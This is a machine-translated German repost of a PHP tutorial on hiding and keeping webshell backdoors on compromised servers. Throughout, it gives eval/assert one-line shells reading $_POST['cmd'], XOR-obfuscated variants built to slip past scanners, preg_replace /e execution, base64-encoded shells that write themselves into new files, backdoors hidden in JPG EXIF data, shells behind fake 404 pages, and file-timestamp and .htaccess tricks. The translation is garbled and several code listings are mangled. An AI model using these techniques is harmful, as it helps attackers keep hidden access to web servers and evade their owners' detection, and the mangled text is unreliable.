Heim Backend-Entwicklung PHP-Tutorial PHP-Hintertür-Versteck- und Wartungstechniken

PHP-Hintertür-Versteck- und Wartungstechniken

Aug 08, 2016 am 09:21 AM
gt lt nbsp php shell

Nach einem erfolgreichen Test möchten Sie die Berechtigungen normalerweise länger behalten. Die Arbeit, die mit dem Verlassen von Hintertüren verbunden ist, umfasst unter anderem Datenbankberechtigungen, WEB-Berechtigungen und Systembenutzer usw. Dieser Artikel wird einige der Ideen bekannt machen, die in den Hintertüren von Volkswagen verborgen sind.

AD:

0×00 Vorwort

Nach einem erfolgreichen Test möchten Sie normalerweise die Privilegien länger behalten. Die Aufgabe, eine Hintertür zu hinterlassen, ist Es scheint Sehr wichtig. Zu den häufig eingesetzten Hintertüren gehören unter anderem Datenbankberechtigungen, WEB-Berechtigungen, Systembenutzerberechtigungen usw. In diesem Artikel werden einige der in öffentlichen Hintertüren versteckten Ideen bekannt gemacht

Nehmen Sie PHP-WEBBACKDOOR als Beispiel, um andere zu inspirieren

Eine häufigste Ein-Satz-Hintertür könnte so geschrieben werden

  1. eval($ _POST['cmd']);?>

oder dieses

  1. $_POST['cmd']);?>

Das ist natürlich nur in der aufgerufenen Funktion anders Informationen zu den von PHP deaktivierten Funktionen finden Sie unter „Suche in php.ini: deaktivieren_funktionen“.

Aber es gibt viele Möglichkeiten für Betrieb und Wartung, unsere Shell intuitiv zu finden, wie zum Beispiel

◆Ausnahme gefunden durch Dateiname/Änderungszeit/-größe, Dateisicherungsvergleich

◆Entdecken Sie die Hintertür durch das WEBSHELL-Hintertür-Scan-Skript, wie Scanbackdoor.php/Pecker/shelldetect.php und verschiedene Scanner usw.

◆Entdecken Sie die Hintertür über das Access.log-Zugriffsprotokoll

◆ Oder unser Testsatz wird von WAF blockiert und ein Warnprotokoll wird gesendet usw.

Im Hinblick auf Gängige Erkennungsmethoden, die folgenden sieben gängigen Methoden werden zusammengefasst, um die Shell zu verbergen

0×01 Evasion

Schauen Sie sich die verschiedenen Scan-Backdoor-Codes an und Sie werden wissen, dass das Hinterlassen eines Schlüsselworts, das jeder kennt und Schreie sind in der Shell absolut nicht erlaubt

Gemeinsame Schlüsselwörter wie:

◆Systembefehlsausführung: system, passhru, shell_exec, exec, popen, proc_open

◆Codeausführung: eval, Assert, call_user_func, base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13

◆Datei enthält: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite

Ein Freund hat es in der Vergangenheit mit Bedacht verwendet $ _POST[0]($_POST[1]) um den Befehl auszuführen Leider ist es jetzt schwierig, der Erkennung von Scannern zu entgehen, aber alles ändert sich. und die Konstruktionsmethoden sind endlos

Tudouya-Klassenkamerad gab [eine Konstruktion zu FREEBUF-Tipps](http://www.freebuf.com/articles/web/33824.html)Verwenden Sie

  1. @$_; // $_ = 1
  2. $__=(" #"^"|"); // $__ = _
  3. $__.=(" ."^"~"); // _P
  4. $__.=("/"^ "`"); // _PO
  5. $__.=("|"^ "/"); // _POS
  6. $__.=("{"^"/" ); // _POST
  7. ${$__}[!$_](${$__ }[$_]); // $_POST[0] ($_POST[1]);
  8. ? >

Konstruktionsgenerierung, natürlich ist es in Ordnung, wenn es zu intuitiv ist. Schreiben Sie so

  1. $_ ;$ __=("#"^"|").(". "^"~").("/"^"`"). ("|"^"/").("{"^ "/");@${$__}[!$_]( ${$__}[$_]);?>

Geben Sie dann einen gewöhnlichen Code ein, um ihn zu verschleiern, und ein einfaches „Anti-Kill“-Shell-Beispiel erscheint

Es wird korrekt ausgeführt und umgeht gewöhnliche Scanner. Sie können sich darauf verlassen, eine neue temporäre Shell zu schreiben

0×02 Features

Es ist auch eine interessante Möglichkeit, Syntaxfunktionen zum Ausführen von Befehlen zu verwenden. Verwenden Sie PHP, um Variablen zu verarbeiten. Es analysiert, ob die Daten in doppelten Anführungszeichen enthalten (und analysiert deren Werte). >zB.:

${@
    eval(phpinfo()) }
  1. {} kann den Variableninhalt in doppelten Anführungszeichen analysieren, @ Behalten Sie den Fehler bei und fahren Sie mit der Ausführung fort

Dann können Sie mit dem Aufbau einer versteckten Hintertür beginnen, aber hier möchte sich die Struktur auf die durch die Funktion verursachte Befehlsausführung verlassen. Ja, es ist preg_replace

"//e",
  • $_POST['cmd'],"");?> >Diese Methode wurde offensichtlich in die Scanner-Blacklist eingetragen, einfache Änderung Weiter
    1. function funfunc($str){}
    2. echo preg_replace("/(. ?)/ies", 'funfunc("1")', $_POST["cmd"]);
    3. ?>
    wurde ausgeführt und nicht gefunden

    Die Ausführungsmethode ist offensichtlich. Wenn {${phpinfo()}} nach dem regulären Abgleich an funfunc übergeben wird, wird der Code ausgeführt

      funfunc(
    1. "{${phpinfo()}} " )
    Eine andere Methode

      "$arr="".$_GET['cmd']."";");?>
  • 0 × 03 Inklusion

    Datei-Inklusion ist eine Methode, die jeder ausprobiert hat, aber Inklusion hat auch Techniken

    Gewöhnliche Datei-Inklusion kann nur ein Einbinden sein, das eine bestimmte TXT- oder JPG-Datei enthält, oder sogar direkt eine verlassen enthalten Schwachstelle, aber der Scanner ist auch leicht zu finden, und die zusätzlich enthaltenen Dateien sind ebenfalls leicht zu finden

    Sehen Sie sich dieses Skript an

       
    1. if( @isset($_GET[content]))
    2. {
    3. 'w'); 🎜> file_put_contents('README',"
    4. @file_put_contents('README',$_GET[content],FILE_APPEND);
    5. fclose($fp) ;
    6. require
    7. 'README';}
    8. ?> Die Probleme. Die erforderliche Shell kann nach Bedarf generiert und dann eingebunden werden. Da Funktionen wie file_put_contents zu empfindlich sind, kann sie durch Scannen leicht gefunden werden.
    9. erstellt eine Shell durch Codierungsgenerierung, die mit Zugriff generiert wird

    fputs(fopen(

    base64_decode(

    'cgx1z2lux20ucghw'), w),

    Base64_Decode (

    'Pd9wahagqgfzc2vydcgkx1bpu1rbj2ntzcddkts/pg =='); >?>

    1. kann einigen Scannern entgehen, aber dieser Modus ist auch auffälliger und die neu generierten Dateien müssen einfach ausgeblendet werden, um einer Erkennung zu entgehen.Natürlich neue Konzepte wie Heuristiken werden nicht berücksichtigtWenn diese Methode die Anforderungen nicht erfüllen kann, kehren clevere Angreifer zurück$exif=exif_read_data('./lol.jpg');preg_replace($exif['Make'],$exif[
    2. 'Model'],
    3. '');?> ;

    1. Referenz: a Die im EXIF ​​von JPG-Bildern versteckte Hintertür Dieses Mal müssen Sie nicht mehr einfach /b kopieren, um das Image-Pferd zu generieren. Es ist auch möglich, das spezifische Flag der preg_replace-Ausführungsdatei auszuleihen Aufruf der undefinierten Funktion exif_read_data()Sie müssen php.ini ändern, extension=php_exif.dllÄndern Sie die Ladereihenfolge in nach extension=php_mbstring.dll Es ist ersichtlich, dass diese Bild-Hintertür auf dem e-Parameter preg_replace basiert, auf der Variablenanalyse und -ausführung von PHP basiert und schließlich die Dateiidentifikation verwendet, um eine vollständige Shell-Assembly zu konvertieren ist eine kleine Erinnerung für diejenigen, die mit den versteckten Hintertüren noch nicht vertraut sind. Solange es Einschlusspunkte gibt, ist die Form der Include-Datei natürlich unterschiedlich, einschließlich error_log (obwohl Sie vielleicht darüber nachdenken sollten, sie zu schließen). it), nur unerwartet...
    2. 0×04 Hidden

    Um zu verhindern, dass Besucher die Existenz der Hintertür entdecken, werden clevere Sicherheitsforscher auch die Situation verwirren

    1. "-//IETF//DTD HTML 2.0//EN"> > 404 Nicht gefunden 🎜>
    2. Die angeforderte URL wurde auf diesem Server nicht gefunden.

      > 🎜>
    3. @preg_replace(
    4. "/[checksql]/e",
    5. $_POST[
    6. 'cmd'],
    7. "saft" 🎜>
    8. Aber Sie können sich nicht vor Besuchern verstecken und Sie können es nicht vor der Protokollanalyse verbergen. Um es in einer großen Anzahl von Protokollen besser zu verbergen, wurde das folgende Skript erstellt >
    9. header (
    10. 'HTTP/1.1 404'); 'cGx1Z2luX20ucGhw'),w),
    11. base64_decode(
    12. 'PD9waHAgQGFzc2VydCgkX1BPU1RbJ2NtZCddKTs/ S =='));
    13. ob_end_clean();
    14. Der Zugriff ist ein echter 404, ja, das Gleiche gilt auch im Protokoll

    Aber in diesem Moment wurde das Skript, das wir verbinden möchten, im Strom generiert Verzeichnis

    0×05 Verwirrung
    1. Wer das Weevely-Tool verwendet hat, sollte wissen, dass die von ihm generierte Anti-Kill-Shell so aussieht
    2.  
    3. $kthe= "JGEpPjgiMpeyRrPSgidwcyc7ZWNobyAnPCcgiugiJGsuJz4nOgi2V2YWwoYgimFzZTY0X2giRlY2gi9kgiZShwcmVn";                    place("w"," ","stwrw_wrwepwlwawcwe");
    4.                                                                   

     

    $zrmt=

    "JGM9J2NvdWgi50JzskgiYT0gikX0NgiPT0tJRgiTtpZihyZXNldCgkYSk9PSgidvbycggiJgiiYgJGMo"; ftdf("f",

    "",

    "bfafsfef4_fdfefcodfe" ); 🎜>

      >"lclrlaltel_functlilon"); (
    1. $ftdf(
    2. "gi",
    3. "", $zrmt.$kthe.$wmmi.$penh) ));
    4. $rdwm();
    5. Nach der Verbindung im Terminal sieht es so aus
    6. Ps: Ich habe es vergessen Ändern Sie den Terminalcode im Screenshot:(Der Weg, das Töten zu vermeiden Der Prozess der Generierung zufälliger Namensvariablen in einem festen Bereich und der anschließenden Verwendung von str_replace zum Kombinieren von base64_decode und Ausführen des Befehls Von Dies ist natürlich eine häufigere Verschleierung auf Codeebene, um Scanner zu vermeidenAudiovisuelle Methoden: ◆Ändern Sie die Dateizeit
    7. ◆Benennen Sie sie um und integrieren Sie sie in den Ordner, in dem es sich nach dem Hochladen befindet, sodass Benutzer die Dateianomalie nicht visuell erkennen können
    8. ◆Verbergen Sie die Dateigröße (zumindest sieht die Größe wie ein normales Skript aus)◆Wählen Sie das Ausblenden Pfad und besuchen Sie ihn so wenig wie möglich
    9. ◆Merformed-Verzeichnis
    10. Das Space-Verzeichnis ist relativ leicht zu finden
    11. 0×06 ParsingVerwenden Sie .htaccess, um eine Parsing-Hintertür hinzuzufügenZum Beispiel:AddType application/x- httpd-php .jpg
    12. Das Obige dient als Beispiel0×07 Verschiedenes

      Um die oben genannten Methoden zusammenzufassen, handelt es sich bei den meisten um nichts anderes als einen Prozess zur Konstruktion von Schwachstellen. Der Code zur Konstruktion der Schwachstelle kann so seltsam sein, wie die Hintertür nur sein kann. Sie können etwas Feines und Anmutiges schreiben oder selbst erstellen Es ist einfach und grob, aber die anwendbaren Situationen sind unterschiedlich. Wenn Sie Ideen gut integrieren können, ist es nicht schwierig, Ihre eigene versteckte Hülle zu konstruieren. Wenn Sie interessante Ideen haben, können Sie dies gerne tun Teilen Sie Ihre Gedanken mit

      Das Obige stellt die PHP-Hintertür-Versteck- und Wartungstechniken vor, einschließlich der relevanten Inhalte. Ich hoffe, dass es für Freunde hilfreich ist, die sich für PHP-Tutorials interessieren.

    Erklärung dieser Website
    Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn

    Heiße KI -Werkzeuge

    Undresser.AI Undress

    Undresser.AI Undress

    KI-gestützte App zum Erstellen realistischer Aktfotos

    AI Clothes Remover

    AI Clothes Remover

    Online-KI-Tool zum Entfernen von Kleidung aus Fotos.

    Undress AI Tool

    Undress AI Tool

    Ausziehbilder kostenlos

    Clothoff.io

    Clothoff.io

    KI-Kleiderentferner

    AI Hentai Generator

    AI Hentai Generator

    Erstellen Sie kostenlos Ai Hentai.

    Heißer Artikel

    R.E.P.O. Energiekristalle erklärten und was sie tun (gelber Kristall)
    2 Wochen vor By 尊渡假赌尊渡假赌尊渡假赌
    Repo: Wie man Teamkollegen wiederbelebt
    4 Wochen vor By 尊渡假赌尊渡假赌尊渡假赌
    Hello Kitty Island Abenteuer: Wie man riesige Samen bekommt
    4 Wochen vor By 尊渡假赌尊渡假赌尊渡假赌

    Heiße Werkzeuge

    Notepad++7.3.1

    Notepad++7.3.1

    Einfach zu bedienender und kostenloser Code-Editor

    SublimeText3 chinesische Version

    SublimeText3 chinesische Version

    Chinesische Version, sehr einfach zu bedienen

    Senden Sie Studio 13.0.1

    Senden Sie Studio 13.0.1

    Leistungsstarke integrierte PHP-Entwicklungsumgebung

    Dreamweaver CS6

    Dreamweaver CS6

    Visuelle Webentwicklungstools

    SublimeText3 Mac-Version

    SublimeText3 Mac-Version

    Codebearbeitungssoftware auf Gottesniveau (SublimeText3)

    CakePHP-Projektkonfiguration CakePHP-Projektkonfiguration Sep 10, 2024 pm 05:25 PM

    In diesem Kapitel werden wir die Umgebungsvariablen, die allgemeine Konfiguration, die Datenbankkonfiguration und die E-Mail-Konfiguration in CakePHP verstehen.

    PHP 8.4 Installations- und Upgrade-Anleitung für Ubuntu und Debian PHP 8.4 Installations- und Upgrade-Anleitung für Ubuntu und Debian Dec 24, 2024 pm 04:42 PM

    PHP 8.4 bringt mehrere neue Funktionen, Sicherheitsverbesserungen und Leistungsverbesserungen mit einer beträchtlichen Menge an veralteten und entfernten Funktionen. In dieser Anleitung wird erklärt, wie Sie PHP 8.4 installieren oder auf PHP 8.4 auf Ubuntu, Debian oder deren Derivaten aktualisieren. Obwohl es möglich ist, PHP aus dem Quellcode zu kompilieren, ist die Installation aus einem APT-Repository wie unten erläutert oft schneller und sicherer, da diese Repositorys in Zukunft die neuesten Fehlerbehebungen und Sicherheitsupdates bereitstellen.

    CakePHP Datum und Uhrzeit CakePHP Datum und Uhrzeit Sep 10, 2024 pm 05:27 PM

    Um in cakephp4 mit Datum und Uhrzeit zu arbeiten, verwenden wir die verfügbare FrozenTime-Klasse.

    CakePHP-Datei hochladen CakePHP-Datei hochladen Sep 10, 2024 pm 05:27 PM

    Um am Datei-Upload zu arbeiten, verwenden wir den Formular-Helfer. Hier ist ein Beispiel für den Datei-Upload.

    CakePHP-Routing CakePHP-Routing Sep 10, 2024 pm 05:25 PM

    In diesem Kapitel lernen wir die folgenden Themen im Zusammenhang mit dem Routing kennen.

    Besprechen Sie CakePHP Besprechen Sie CakePHP Sep 10, 2024 pm 05:28 PM

    CakePHP ist ein Open-Source-Framework für PHP. Es soll die Entwicklung, Bereitstellung und Wartung von Anwendungen erheblich vereinfachen. CakePHP basiert auf einer MVC-ähnlichen Architektur, die sowohl leistungsstark als auch leicht zu verstehen ist. Modelle, Ansichten und Controller gu

    So richten Sie Visual Studio-Code (VS-Code) für die PHP-Entwicklung ein So richten Sie Visual Studio-Code (VS-Code) für die PHP-Entwicklung ein Dec 20, 2024 am 11:31 AM

    Visual Studio Code, auch bekannt als VS Code, ist ein kostenloser Quellcode-Editor – oder eine integrierte Entwicklungsumgebung (IDE) –, die für alle gängigen Betriebssysteme verfügbar ist. Mit einer großen Sammlung von Erweiterungen für viele Programmiersprachen kann VS Code c

    CakePHP erstellt Validatoren CakePHP erstellt Validatoren Sep 10, 2024 pm 05:26 PM

    Der Validator kann durch Hinzufügen der folgenden zwei Zeilen im Controller erstellt werden.

    See all articles